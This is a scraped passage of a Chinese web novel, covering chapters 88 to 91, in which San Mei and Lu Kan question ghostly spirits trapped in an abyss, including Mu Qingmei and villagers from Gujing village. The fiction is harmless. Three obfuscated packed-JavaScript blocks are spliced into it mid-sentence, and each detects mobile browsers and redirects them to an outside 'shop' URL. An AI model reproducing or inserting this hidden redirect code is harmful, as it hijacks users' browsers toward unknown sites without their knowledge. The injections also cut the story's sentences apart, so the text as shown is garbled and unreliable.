眨眼的时间,那团雾影形成了一片、好似能遮天蔽日一般的庞然大物,笼罩在三枚和陆衎的头顶。 它正欲起势再攻,倏而感到空气有一瞬间的凝滞,动作蓦然顿住。 “呵!”三枚半眯着眼,似笑非笑地轻哼了一声。 装模作样故意吓人的雾影,听见这么淡然、饱含轻蔑之意的轻哼声,反而被吓住了。 无他,只因三枚身上骤然释放的气势,强势又惊人,仿佛蓄势待发的利刃,随时要你封喉见血。 雾影虽然只是一团幽冥,刚才的奇袭和之前的气流,都是它在借势故弄玄虚,其实它根本就无法对三枚他们造成任何实质性的伤害,充其量就是看起来有些吓人罢了。 本来就胆小怕事的幽冥,这才意识到三枚不像传闻中那般和善可欺。 它僵在原地,不知所措,更不敢轻易乱动。 “咋啦,就这么急着找死?”三枚眼神十分“和善”地道。 就非挑这样的时间点,撞上来搞破坏? 幽冥瑟瑟发抖:...... 它也是刚从之前气流的冲击下,缓过一口气来,好不容易再次凝聚成团,一股脑就准备再给三枚一击,哪知道这次对面这两人,突然就凶神恶煞了起来。 落在自己身上的视线,仿佛它犯了什么不可饶恕的滔天大罪一般。 幽冥心有戚戚,心生退意。 陆衎站在三枚的身后,见那团雾影,一会儿缩成一团,一会儿散成碎片,晃晃悠悠,好似一碰就碎的泡沫,心里一嗤:看来是个虚张声势的怂货,不足为虑。 卸下身上的警戒,他将视线投注到三枚的身上。 直观地感受三枚的身上,好像从头到脚都散发着“很不好惹的我,现在很不高兴”的不悦情绪,陆衎眼尾一挑:生气了? 再看三枚脑袋边上那一撮,炸得一翘一翘的小卷发,他的心里突然不合时宜地冒出一个念头:三枚,凶起来的样子,也太可爱了吧。 兀自在脑海里联想了一下,她的心情为何突然这样不爽快的原因,陆衎嘴角的笑意,便怎么压都压不住,甚至差点忍不住笑出声。 这样可爱,哪能震慑住对面那团黑乎乎的脏东西? 僵硬不敢妄动的幽冥,不经意对上陆衎的冷眼,浑身又是一颤,害怕地全身雾气不稳,向四处飞胀,差点又散得零碎。 “大人饶命啊!!”胆小的幽冥,终于忍不住,张嘴带着哭腔大声求饶。 它再不敢装神弄鬼吓唬人,庞大的雾气,倏而往地上一跪,像个人一样,砰砰往地上磕头,“大人饶命啊!!!” “饶命啊,小的们已经死过一回了,再不敢了!!” 小的们? 三枚斜眼,跟陆衎对视了一眼:看来这黑渊,还是个暗礁险滩! —— “说吧,想干嘛呢?木清梅。” 三枚坐在锁魂箱上,好整以暇地看着跪在地上的一团雾影,意味深长地道。 她的话音刚落,那团雾影又是一颤,接着不可思议地抬起头,“大人,您知道小女之名?” “少装!”三枚手一抬,面无表情,声音淡淡地说:“也别说,在我幻梦里的幽冥装神弄鬼的不是你。” 巧儿一个囚困镜湖多年的冤魂,最多也只能躲在锁魂箱,嘤嘤嘤哭几声给小棺椁或者小铃铛听听。 能把三枚拖进幻梦里,而且梦里场景就跟现在的深渊一模一样,若说其中没有木清梅的参与,单凭巧儿一个丫头,是不可能做到的。 雾影声音颤颤,支支吾吾地:“我、我......” 陆衎站在后面,看见三枚轻轻一挑眉,接着脆声道:“你死了之后,找到了巧儿吧?” “你不止找到了巧儿,还将自己三分之一的魂识,附身在了她的身上。” 明明只是一团形状不定的糊影,陆衎却仿佛看见了它汗流浃背的慌张神色。 “主仆久别重逢,却是阴阳两隔。”三枚不疾不徐地继续说道,“巧儿心中愧疚,应是答应了要将你的尸骨带出黑渊,为你好生安葬。” “只是可惜了,巧儿遭了难,不管是躯体还是灵魂,都被彻底困在了镜湖底下。” 后来三枚和陆衎等人将水尾寨和镜湖掀了个底朝天,火化了埋在水下的尸骨,将它们的冤魂也释放了出来。 得到了自由的冤魂,得知三枚为它们送魂安葬在家乡故土上,自然求之不得且喜不自胜,纷纷自愿被收入锁魂箱内。 “巧儿的冤魂之上,有你木清梅三分之一的魂识,没想到才刚自由,你们主仆两个,竟然就开始算计上我啦?” 她人还没走出眧州呢,歪在王大爷牛车上,才刚合眼就被带进了幻梦。 “嗬!” 听见三枚将自己和巧儿的心思和计划都猜了个八九不离十,雾影瞬间心虚得糊成了一团。 “没、没算计......”它吓得话都不会说了,支支吾吾,一会儿将影子拉得又长又细,一会儿扁成了面团一样的薄圆,好像你拉我扯纠缠不清一般。 最后,突然蹦出一个少女模样的幽冥,像是被谁从雾影里头推了出来,跌跌撞撞地朝三枚的方向摔来,踉跄了几步后跌坐到了地上。 跪坐在地上的幽冥,赫然就是幻梦里,出现在木府老宅里的幽冥少女。 她缓缓抬起头,没了幻梦里的从容悠闲,艰难地挤出一个苦笑,尴尬地朝三枚道:“大人,您且听小女慢慢说来。” 三枚似笑非笑,纤纤素手轻轻一抬:“你说。” 木清梅:......好凶的样子。 她咽了咽口水,垂下眼眸,轻声道:“您、您说的幻梦,我和巧儿确实曾出现在那里。” “但并非我二人精心设计,真的是纯属巧合。” 三枚双手环胸,静静地看着木清梅。 木清梅脑袋向下垂了垂:“是真的。我们也不知道怎么就进去了。” 当初在崖道上与巧儿争执拉扯了一翻,失足坠落黑渊的时候,木清梅身上的魂识就被吓丢了三分之一。 这三分之一的魂识,一直跟在巧儿的身边,却是什么都做不了,包括巧儿遭了难,它除了着急慌乱,根本帮不了一点。 “摔落深渊后,我魂识不全,虽然侥幸并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678894|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未当场死亡,却是全身瘫痪,四肢根本动弹不了。” 在雾气蒙蒙的深渊下,浑浑噩噩的木清梅,靠着自己超强的求生欲,和周围犹如鬼魂一般的幽冥雾影的帮助,她生生苦熬了几年,最终还是难逃一死。 将死之际,木清梅忽而有些想念母亲为她打造的云阁,心里特别地思念自己的母亲,希望能在生命的最后,亲口跟她道声对不住。 对不住她的生养之恩和宠爱之情,对不住因为自己的任性顽皮,害她终日以泪洗面。 然而,黑渊之深,犹如天际,就连底下的雾影都无法逃离桎梏,又何况是她这样一个弱质女流呢。 令人意外的是,木清梅死前执念暴涨,居然将她本就不稳的魂体,又撕扯掉了三分之一,竟然回到了曾经被她视为牢笼的云阁。 “后来巧儿的尸体和亡魂,因大人援手得到解脱,巧儿这才能感受到我的存在。” 但尽管如此,她们二人也只是涕泪交加地解除了误会,木清梅进入幻梦的时候,连她自己都来不及反应。 “当时周围雾蒙蒙的一片,根本分不清东南西北,我随着周围的雾气走走晃晃,找不到出口。” 然后好像是略过了一阵风,被迷了眼的木清梅,再睁眼时,发现地上突然出现了一串脚印。 “我和其他的雾影,就跟着那串脚印走啊走,走着走着,忽而脚印不见了,刚想往前寻找的时候,乍然感到一股迫人的气势,吓得我们再不敢轻举妄动。” 三枚拧眉,仔细一想,当初她好像是感觉到有人跟在自己的身后,猛然转身之后,就见地上一串大小不一的脚印。 难不成,当时她和木清梅虽然同处幻梦,甚至面对面站着,却是在不同的空间,或者说时空被扭曲了,所以才双方都无法看见彼此? 尽管有些不可思议,但也不是没有可能,毕竟要想在幻梦里请愿,必须敲响梦铃,自己才可能接收到确切的信息。 木清梅自己都说不知为何能够进入幻梦,可能是误触了某个神秘的结界,就像当初薛婉茹通过归墟阴错阳差敲响自己的梦铃一般。 世界之大,无奇不有,什么都有可能。 三枚不再纠结,耐着性子继续听木清梅絮絮叨叨地述说着。 “......后来,您带着巧儿的亡魂真的来到了黑山寨,在寨外的时候,我被困在木府云阁里的魂识,倏而就与您的锁魂箱里的另外三分之一魂识汇合,于是就发生了您之前说的云阁的那个幻梦。” 木清梅有些心虚,脑袋越垂越低,“我、我就是,想跟你开个玩笑......” 三枚皮笑肉不笑地轻哼:“呵呵。” “所以现在,你的魂体全都汇合聚齐了,刚才又是什么个意思?” 木清梅瞥了眼身后飘忽不定的雾影,垂眸盯着自己的脚尖,“我、我想请大人,将我的尸骨从深渊里带出去,最好是能埋到我娘的墓碑边上。” 三枚小脸一抽:啧啧,真把她当成软柿子了,竟然还真提上要求了! “还、还希望大人有大量,好人做到底,”怎知眼前的幽冥提完了自己的诉求,素手轻轻对着边上挤压成团的雾影一指,“也给他们送送魂,让他们魂归故里,入土为安。” 89. 第 89 章 三枚轻哼一声,“长得一般般,想得倒是挺美!” “啊?” 木清梅不知道三枚怎么突然评价起了自己的相貌,愣愣地抬头,就见她面带讥笑地看着自己。 本就心虚的幽冥少女,这下心里更没底了,害怕得一直小碎步往后退。 将木清梅从雾影里推出来的其他幽冥,见状立马飘到她的身边,团团转地围绕着她,像是要给予她温暖和鼓励一般,从头到脚紧紧地将她环抱住。 木清梅瞬间就被感动得眼眶含泪,用力回抱着它们。 三枚:......这唱的又是哪一出戏? 怎么搞得好像被她欺负了一样。 无语的三枚,不动声色地跟陆衎对视了一眼,紧抿小嘴,牙痒痒地咽下了好多想说的话。 她耐心地等了一会儿,才见木清梅深深地呼出一口气,轻轻抬眸。 对着三枚坐在身下的锁魂箱,木清梅伸手一指,轻声道:“我在水都的时候就见过,您的这个木箱子,能够承载我们这般的幽灵魂体。” 三枚嘴角微微一撇,哼道:“然后呢?” “然后?”木清梅眨眨眼,“您不是寻尸人吗?” 之前附着在巧儿亡灵上的时候,她好像听过其他亡灵是这么听说的啊。 寻尸人,专为死人伸冤化怨,也为迷惘的亡灵引路寻尸,让诸如他们这类孤魂野鬼落叶归根、魂归故土的存在。 三枚嘴角又是一抽:“我们寻尸人也不是什么鬼都帮啊,你得先敲响幻梦里的梦铃啊。” 再不然,让她棺椁上的小铃铛,响几声也行啊。 什么都没有,一上来就想硬闯进小棺椁里,不就跟路上强抢的劫匪一般吗? 岂有此理! 木清梅却是牛头不对马嘴得道:“啊?怎么连死人,也分三六九等啊?” 三枚一噎,杏眸一瞪,撸起袖子就要好好跟那幽冥理论理论,刚一起身,肩上就多了一只大掌。 陆衎按住躁动的三枚,对着她微微一笑,冷眼扫向木清梅。 “人可以不分贵贱,但事有轻重缓急,”他的声音低沉,带着不容忽视的压迫感,“你们想让三枚为你们送魂,是不是得先指明一条出路出来?” 木清梅眨巴眨巴大眼睛:“什、什么出路?” 陆衎:“离开这个鬼地方的出口。” 这些轮到木清梅和那团飘忽的雾影无语凝噎了,须臾才支支吾吾地道:“我们、也不知道......” “其实,黑渊之下,除了头顶十几丈之高的悬崖,并无其他出口。” 三枚挑眉:“你们是幽冥,区区十几丈,翻个跟斗不就飞出去了?” 木清梅与围绕在身边的雾影对视了一会儿,才低落地道:“飞不了。” “飞不了?”三枚不好糊弄,“难不成之前在半腰处撞击我家小棺椁的,不正是你们这一团东西?” “那是、那是因为我的魂体终于完整了,当时不知为何,我身上瞬间能量暴涨,借着这股气势,还有不知何处而来的强大气流,它们顺势将力量全部投注在我的身上,同心协力才能飞涨到那般高去。” 木清梅抿了抿嘴,“但是,那也是极限了,再高,我们也升不了了。” 无视幽冥疑似卖惨的表现,三枚双手一摊:“你们这些能飞能飘的幽冥都飞不出去,我们肉体凡胎的普通人,更做不到。” “你可以!” 木清梅肯定地大吼一声,眼神坚定又崇拜地看着三枚:“你当时在水尾寨暴揍孟庄那个老家伙的时候,我看得清清楚楚!” 三枚:...... “这丫头的口气,怎么感觉她比我还要了解我自己的能力一样?” 三枚抬手掩面,嘴角却一点一点地翘了起来,“不过,还算挺有眼光的。” 心里虽然有些难为情,但不得不说,不论是木清梅眸底的憧憬之色,还是她握着拳头掷地有声的确信,都极大的取悦了三枚。 然而谦虚是一种美德,三枚摆摆手,别过脸道:“你太高看我了。” 木清梅却好像来劲了,见三枚垂下脑袋根本不看自己了,喊得更卖力了:“你那么厉害,怎么可能做不到!” 三枚嘴角的笑根本就压不住:这丫头,是真有眼光! 陆衎有些无奈,心想三枚也太好说话了,木清梅几句不值钱的好话,就将她绕得飘飘然。 看来自己日后得把人看紧了,否则哪天被人几句甜言蜜语给骗走了,自己肯定追悔莫及。 陆衎在心里盘算着日后要防患于未然,三枚一无所知。 她心情大好,使劲压了压唇角的笑意,抬眼时故意拧起眉头,义正言辞地道:“少油嘴滑舌!这些招数对我没用!” 木清梅圆溜溜的大眼睛眨了眨,眼神特别真挚地道:“我是说真的!” “当初水都底下埋了多少的冤魂啊,大人您肯定是最清楚的。您箱子里的两位小大人,对此更是十分从容有余,我们这儿的幽冥才七百多个,肯定不会给您造成多余的负担的。” “等会儿,”对高帽子向来敬谢不敏的三枚,闻言立马抬手,阻止木清梅继续下去,“从不从容,是不是有负担,得我这个负责执行的人,说了才算。” 不是你使劲给我戴上高帽,我就傻兮兮地被忽悠了。 “可是他们很可怜的。” 木清梅皱着眉头,可怜兮兮地道,“他们不明不白葬身黑渊,如今成了客死他乡的孤魂野鬼,魂灵居然还被缠上了镣铐,行动完全被限制了自由。” 三枚拧眉:“镣铐?” “没错。”木清梅道:“不信,大人您自己看。” 她的声音刚落,忽而刮起一阵乱风,略过环绕成一片的雾影,掀开了雾蒙蒙的神秘的面纱,露出了隐藏在黑乎乎雾团背后的真实面目——一群挤挤挨挨缩在一起的幽魂。 男女老少皆在列,但看眉目面相,大多不是早衰短寿之人,看它们的模样,也不像是惨死或病死的。 幽魂们双脚腾空,身上穿的好像都是夏裳,它们已经好久不曾以人的形象身份示人,此刻面对三枚十分地不自在,一个个紧张地揪着自己的衣角,不敢正眼直视于人。 这些幽冥现出原形的刹那,三枚的眉心便不由自主地拧了起来,轻声嘀咕道:“不对劲。” 陆衎闻言,身子微微往她身边倾斜,看着那群幽冥的眸中满是警惕,他低声问道:“怎么了?” “气味不对劲。” 气味? 皱了皱鼻子,除了潮湿和发霉的味道,陆衎并未嗅到任何不寻常的味道。 “你看它们的脚下。”三枚慢慢地站了起来,伸手指着地上。 陆衎顺着三枚的手指望去,就见那群腾空的幽冥,脚腕处好像绕着一圈蛛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689813|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝,有的泛白,有的薄如蝉翼,还有的已经逐渐趋于透明。 蛛丝的另一端,好像是自地底而来的,将这群幽冥全都束缚在深渊之下。 看起来确实像是被套上了镣铐,把人困在原地的感觉。 怪不得哪里都去不了。 陆衎:“她的脚上为什么没有。” 这指的是木清梅,她的脚腕不仅没有蛛丝,而且双脚还能落地。 三枚拧着眉头,一直凝神紧盯着幽冥脚下的蛛丝,听见陆衎的话,想了一会儿,才慢声道:“因为,木清梅已经死了。” “嗯?”陆衎低头看她,有些不能理解三枚的话,“什么意思?他们不都是幽冥吗?” “目前还不是,”三枚轻轻摇了摇头,说话的声音有些沉重,“不过,也快是了。” 陆衎这时也看出了那群幽冥和木清梅的差别,除了双脚腾空和脚腕上的蛛丝,它们还有影子。 虽然不似陆衎和三枚两人的黑影一般,幽冥的影子有些灰白,仔细看看,还是能在崖壁上看见被拉得又长又斜的阴影的。 “它们脚上的蛛丝,是什么?” 果然一如既往地锐利。 三枚在心里叹了口气,道:“生气。” 活着的人,才有的生气。 陆衎:“那他们,只是灵魂出窍了?” 三枚点头,“人没死,出窍的魂体,与□□之间,有一条灵子线连着,一般是为了确保灵魂能够返回□□并清醒,但彼此都不能长时间远离。” 然而,三枚觉得不对劲的地方,是这条灵子线居然是缠绕在魂体的脚腕上,而且还是从地下伸出来的。 应该是某种邪术,三枚手指抵着太阳穴,一边努力回忆,一边嘟哝道:“我好像在哪本杂书上看过。” 想了一会儿都想不出来,三枚决定还是亲自去看看,于是抬脚就要往前走,手腕却被人往后一拉。 她看着一脸凝重的陆衎,问道:“怎么了?” 陆衎想说小心有诈,耳边突然响起一声凄厉的尖叫:“大人!!” 随着这声尖叫,微风乍然卷起,挤在一起的幽冥刹那骚动了起来。 熙熙攘攘的幽冥里,倏而从中间冒出一个大脑袋,脑袋之下,是一张大驴脸。 大驴脸上的表情又惊又喜,它用力推开挡住前路的其他幽冥,眼睛瞪得像是要从眼眶里跳出来一样,神情激动,看起来稍显狰狞。 陆衎蹙眉,长臂一伸,就将三枚护在了身后。 不料却反被三枚拽住了长臂,反手就被拉到了后方,自己和三枚的位置,瞬间发生了转换。 陆衎眨了眨眼睛,看着三枚突如其来的动作,大脑有瞬间的空白,“你——” 三枚一脸凶狠,警惕地目视前方,杏眸冷厉,强势地挡在陆衎的身前,声音沉沉地道:“这家伙,摆明了冲你来的。” 她的话音刚落,陆衎刹那回神,望向了那个还在不断冲向他们的幽冥,眼尾轻轻一挑。 所以,三枚是在保护自己? 望着幽冥,一脸漠然的陆衎,嘴角情不自禁往上一扬,声音轻柔地道:“是吗?” 三枚用力点头:“嗯!” 那幽冥却仿佛感受不到三枚身上的肃杀之气,只看见了眼角眉梢都荡漾着愉悦笑意的陆衎,瞬间喜得热泪盈眶,兀自像见了亲人般兴奋,声情并茂地大吼道:“陆大人!” 90. 第 90 章 “陆大人,是小的啊!” 奔向陆衎的幽冥,一脸兴奋,恨不得往他的身上蹦,然后冲到一般,就被三枚从腕间凭空抽出的线香,吓得往后一缩。 “大人,您忘记小的这张驴脸了吗?”它用力地拍了拍自己的大长脸,高声道:“咱当初可给您带过路呢!” 陆衎被他这么一说,确实觉得他有些眼熟,有些不确定地道:“你是——” “是的呀!”然而他的话还没说完,就又被强势截断,驴脸搓着手,“我就是马大旺啊!” “对咯,”马大旺转身,对着跟在它身后的妻儿招手,接着又把一个胖小子推到跟前,笑道:“您当初还给了我家大胆一粒碎银哩。” 带路?马大旺?大胆? 再看肖似同个模子印出来的一家三口,电光火石间,陆衎想起来了。 “你们是,川临县碧水村的村民。” 终于记得自己了,马大旺点头如捣蒜,开心地咧着嘴巴,“是的,就是咱家!” 见陆衎和对方确实认识,三枚眼里的警惕之色稍稍褪去了一点,但掐在手里的线香却没有放下,还是对着马大旺一家。 虽然认出了人来,陆衎也并未掉以轻心。 这时,忽而有个想法从他的脑海里闪过,陆衎看了眼马大旺后面的其他幽冥,面无表情地问道:“你们怎么会在这里?” “额......”刚才还很兴奋,一直朝三枚和陆衎靠近的马大旺,听见陆衎的问题,悬浮在空中的身体一顿,谄笑的驴脸慢慢地僵住。 它挠了挠头,不由自主往后退了一步,支支吾吾地道:“这个......其实、我也不知道......” 见丈夫涨红着脸面露为难,半天说不出个所以然来,马大旺的媳妇扯住还想往后退的人,狠狠地瞪了它一眼:“都这种时候了,你还死要面子呢!” 也不知道一辈子都把脸皮,给丢哪儿去了! 重重地哼了一声,马大旺的媳妇拉长的驴脸,慢慢地转向三枚的时候,转瞬就换上了一张笑脸。 她讪讪地说道:“大人,您且听民妇给您说说。” —— 当年,马大旺一家,因为在碧水村的茅草屋,被一场暴雨冲倒,家里值钱的东西也同流水东去。 走投无路之下,马大旺拖家带口打算到镇上投靠亲戚,没想到到半路遇见了问路的陆衎等人。 听见他们要去古井村,马大旺心有戚戚,但见陆衎衣着品貌非凡,肯定非富即贵,本着不敢得罪有钱有权的贵人的小民心态,他还是硬着头皮,把人带到了古井村。 途中陆衎三言两语,差点就把自己家祖宗十八代交代出去的马大旺,自然也哭诉了自己一家的悲惨遭遇,话里话外深深担忧着家人会露宿街头。 陆衎虽然一身官威,给人一种很强势的压迫感,不苟言笑的表情看起来就是个冰冷无情的狠人。 然而令人没有想到的是,面对马大旺絮絮叨叨的抱怨,他不仅没有不耐烦地强行打断,反而临走时,还令下属偷偷塞了一粒碎银,给了他的儿子马大胆。 这一下子,陆衎的形象即刻在马大旺的心中,变得崇高伟岸了起来。 后来他们一家三口来到了镇上,才得知京中来人了——为了调查古井村的悬案,皇上竟然派了大理寺的少卿来查案了。 马大旺又惊又喜,还没来得及跟人分享自己一家与陆大人之间的奇遇,就被势利眼的亲戚扫地出门了。 可恶的同宗兄弟,拿了他的银子,说是为他寻罗一处好住处,不想竟是把钱都丢进了赌场,连本带利输了个精光,最后竟然倒打一耙,说是被马大旺一家传染了霉运。 凄凄惨惨的马大旺,跟那个同宗兄弟狠狠地干了一架,最后不仅讨不回那粒碎银,还彻底被赶了出来。 无奈之下,他们只好卷起铺盖,带着妻儿,准备回到碧水村。 他也不敢原道回去,就怕自己一身的狼狈模样,又在路上撞见那位年轻有为又心善的陆大人,于是绕了条崎岖的小道走。 结果途径其他村落的时候,听说陆大人带着属下一行人,居然入住了古井村,而且半个月过去了,却是一点异常的事情都没有发生过。 马大旺当即就丢下行李,偷偷跑到了古井村附近,果然看见了里头进进出出的护卫,还有忙忙碌碌这里查看那里搜寻的陆大人。 他不敢舔着脸上前打招呼,而是若有所思地回到了妻儿身边。 “大胆他娘,咱们也、住到古井村里去吧。”站在一片狼藉的旧居前,马大旺突然说道。 “啥!你疯了吧。”马大旺媳妇双眼圆瞪,“那可是专吞生人的鬼村啊!” 马大旺咽了口水,抱着脑袋就地一坐,“陆大人他们,在那里已经住了半个月了,什么事儿都没有,指不定、指不定那些鬼怪,都被大人给吓跑了。” 马大旺的媳妇却怎么说不同意,她抱紧了儿子马大胆:“你要去自己去,我和儿子胆子小,可赌不起。” 媳妇和儿子态度坚决,马大旺也怕遇见陆衎,怕自己太没用了遭他嫌恶。 三枚眨了眨眼,看不出啊,这人长得马马虎虎,没想到眼光还挺高,竟然是陆衎的狂热崇拜分子。 掐着线香的手往回收了收,她杏眸微转,时而瞥一眼身边面无表情的陆衎,时而上下打量着马大旺。 “咳咳。”陆衎掩唇轻咳,在三枚耳边轻声道:“纯碎是他的臆想,我刚才一时都没能认出人来。” 马大旺的描述掺杂了太多自己的个人情感和无用想象,陆衎根本一点没将他放在心上。 三枚却斜睨了陆衎一眼,“但是那粒碎银,是你让之夜给的吧。” 她的语气十分笃定,陆衎并不否认,而是道:“他们当时确有难处,而我不过举手之劳罢了。” 啧啧,这家伙,不仅人长得好看,心灵也美美的。 三枚突然就记了起来,当初第一次遇见陆衎时,天空下着瓢泼大雨,他也是毫不犹豫,就将身上的斗笠和蓑衣摘下,披在了自己的身上。 怪不得自己第一眼就看上了他! 马大旺的媳妇擦了擦眼泪,继续说道:“然而天有不测风云,我们刚在城外破落城隍庙落脚,老天爷又来了一场大暴雨,城隍庙也塌了。” 真是屋漏偏逢连夜雨,倒霉透顶了! 马大旺的同宗兄弟在赌场输了钱,打架也没有占到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701731|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便宜,心里便记了恨,第二天脸上涂脂抹粉,画得花花绿绿就跑到了碧水村,告到了老族长的面前。 恶人先告状,而恶人,也总能告到状! 甚至马大旺还被那个同宗兄弟,污蔑成了扫把星转世,谁沾谁倒霉的倒霉鬼。 虽然碧水村里也有明辨是非的人家,但他们也也心有余悸啊。 马大旺一家,近日确实有些倒霉啊。 这样想的人也在少数,他们生怕不小心就被染上霉运,于是大多都持袖手旁观的态度,谁都不敢轻易朝马大旺一家伸出援手。 这下马大旺是真真切切地体会到了,什么叫做人心凉薄。 碧水村,是彻底容不下他们一家的了。 “不止当家的,我也被村里人冷漠旁观的视线,伤透了心。”马大旺的媳妇恨恨地道,接着又叹了口气。 “无奈之下,我们当家的,在陆大人回京,古井村空无一人了,才敢带着我和大胆,偷偷绕道,趁着无人注意时,悄悄地住进了古井村。” 实在不想被陆衎看成是想要占便宜,才鸠占鹊巢的无良之人,马大旺抱着脑袋,嚯地一下蹲在了三枚他们的面前,有些无力地辩解道:“我们是真的无处可去了啊。” 他可怜兮兮的,“我可能真是被霉运缠了身,倒霉透顶了!” “我们偷偷摸摸,半夜住进了古井村,眼睛还没合上,眨眼的功夫,一家三口,就全被送到了这么个地方,成了现在这副鬼样子。” 人高马大的马大旺,说着说着就泣不成声了起来,它的妻儿见状,也忍不住抹起了眼泪。 一家三口,肩搭着肩,开始抱头痛哭。 “呜呜呜,我家大胆才刚满十岁呀......跟着我们没本事的父母吃糠咽菜,猪肉都没能吃上几回,呜呜呜,命就这么没了......” “呃呃呃,是我害了你们娘俩啊,早知道......早知道、早知道......” “哇啊啊啊,爹啊娘啊,大胆就想跟着你们,一辈子都不想跟你们分开的呀,你们别哭啊......” 看得一愣一愣的三枚,被哭声吵得耳朵疼,默默向后退了一步,胳膊肘拐了拐陆衎,轻声道:“你,安慰安慰?” 哭得那样可怜,她心里都跟着难受了起来。 看着三枚居然也跟着真情实感,鼻子还跟着一抽一抽的样子,陆衎有些无奈,这仨就是在装可怜。 就像当初为他带路时,一脸苦相一直卖惨博同情,一样的招数。 当时陆衎不以为意,马大旺虽然有些小心思,却也不是什么大奸大恶之人,而且因为他们的处境真实可怜,便睁只眼闭只眼,让之夜给了点钱,算是给他们一家渡过难关之用。 没有料到的是,这一家三口,看着精明,实则就是一团棉花。 眼见三枚已经被哭得心软了,举在手里的线香,正在慢慢地往回收,陆衎长臂一伸,扶住了她的胳膊。 越过蹲在一起抱头痛哭的一家三口,他的视线变得冰冷无情,慢慢地投注在木清梅边上的其他幽冥身上。 他的声音淡漠,没有一点情绪地道:“所以,你们身后的这群幽冥,全都是那古井村的村民。” 91. 第 91 章 三枚将手中的线香递到了陆衎的面前,“拿着。” “跟着上面香雾飘散的方向走,不管看见什么听见什么,都不要信。”她乒乒乓乓敲了一会儿锁魂箱,不放心地强调道:“包括我。” 陆衎看着线香上燃烧的小红点,没有去接,而是低头,视线被三枚头顶的发旋吸引,他温声问道:“这是为何?” 三枚单手拎起锁魂箱,一边背到肩上一边站了起来,避开陆衎想要帮忙的动作,她说:“箱子只能我背着,你别瞎操心。” “拿着。”三枚拖起陆衎的手掌,将线香塞到了他的手里,一直举着都有些发酸了。 她看了眼周围逐渐驱散干净的雾茫,“以防万一。” 她总觉得这个黑渊,有些不对劲,心里隐隐有种发毛的感觉,特别是那些脚腕上缠着生气的幽冥,绝对没有表面看起来那么简单。 还有这些白茫茫的雾气,一会儿深一会儿浅,一会儿浓郁阻碍人的视线,一会儿淡薄仿佛一阵风就能散尽,令人捉摸不透。 雾茫的背后,到底存在着什么。 是又一个深不见底的吞人悬崖,或者埋伏着豺狼虎豹的穷凶之地? 还是,周围白茫茫的雾气,仅仅只是一个鬼打墙的障眼法而已? 总而言之,防人之心不可无,谨慎点准没错。 抓着陆衎的手,让他握紧了线香,三枚抽回手,将锁魂箱背好,正想整理衣袍的时候,小手突然被一只温暖的大掌握住。 她的动作一顿,愣愣抬头,迷糊时乡音又跑了出来:“咋啦?” “没什么。”陆衎微笑摇头,紧握三枚的手,轻轻晃了晃,“牵着你走,我便不用担心弄丢了你。” “咦。”三枚小脸一皱,有点被陆衎腻歪到。 然而仔细看,她的耳垂一下子就红透了,明明嘴角正在慢慢往上扬,却故意拧着眉头,佯装凶狠地道:“把你脸上的笑收收,嬉皮笑脸想迷糊谁!” 面上假装嫌弃,却没将人的手甩掉,垂眸偷偷瞄了眼牵在一起的手,三枚抿了抿嘴,喜滋滋地往前迈步,一边摇头一边用十分无奈的语气道:“真拿你没办法。” 陆衎被她拖着往前走,特别配合地道:“承蒙阁下包容。” —— 目睹全程的木清梅,眨巴眨巴她的大眼睛,慢悠悠地倒着往后飘,双手环胸面对着三枚和陆衎。 她左看看三枚,右瞅瞅陆衎,忽而好奇地问道:“你俩,啥关系哟?” 三枚恍若未闻,径直随着香雾飘散的方向走。 陆衎余光偷觑了三枚一眼,握着人的手稍微紧了紧,亦是默不作声。 见这两人都默契十足地忽视了自己,木清梅挑了挑眉,意味深长地“啊”了一声。 “我知道了!” 她故意大声喊道,企图引起三枚的注意力。 三枚挠了挠耳朵,百无聊赖地打了个哈欠,带着陆衎脚步匆匆拐了一个弯,故意将木清梅抛在了脑后。 “诶,等等我呀——”木清梅被晃了一招,没一会儿就被甩在了身后,只好一鼓作气,倏的一下就又飘到了三枚的身边。 摸了摸鼻子,她开始没话找话,“那个,你们走那么快干嘛呀?” “不用着急,那些幽冥跑不了的。”她凑近三枚,兰花指一飞,“它们总是这样,三不五时就会被拽回去自己的尸体边上一趟,之后还会偷跑出来的。” 方才就在陆衎指出那些幽冥,就是川临县古井村消失的村民后,空气骤然卷起一股邪风。 邪风略过的地方,徐徐浮散在幽冥周边的白雾,骤然疯了一般汇聚成了一只巨大的手掌,拽着幽冥们脚腕上缠连着的灵子线,猛地往后一扯,就将它们又扯成了黑乎乎的雾影。 接着又一阵飓风呼啸而过,卷走了这片好似在拼命挣扎的雾影。 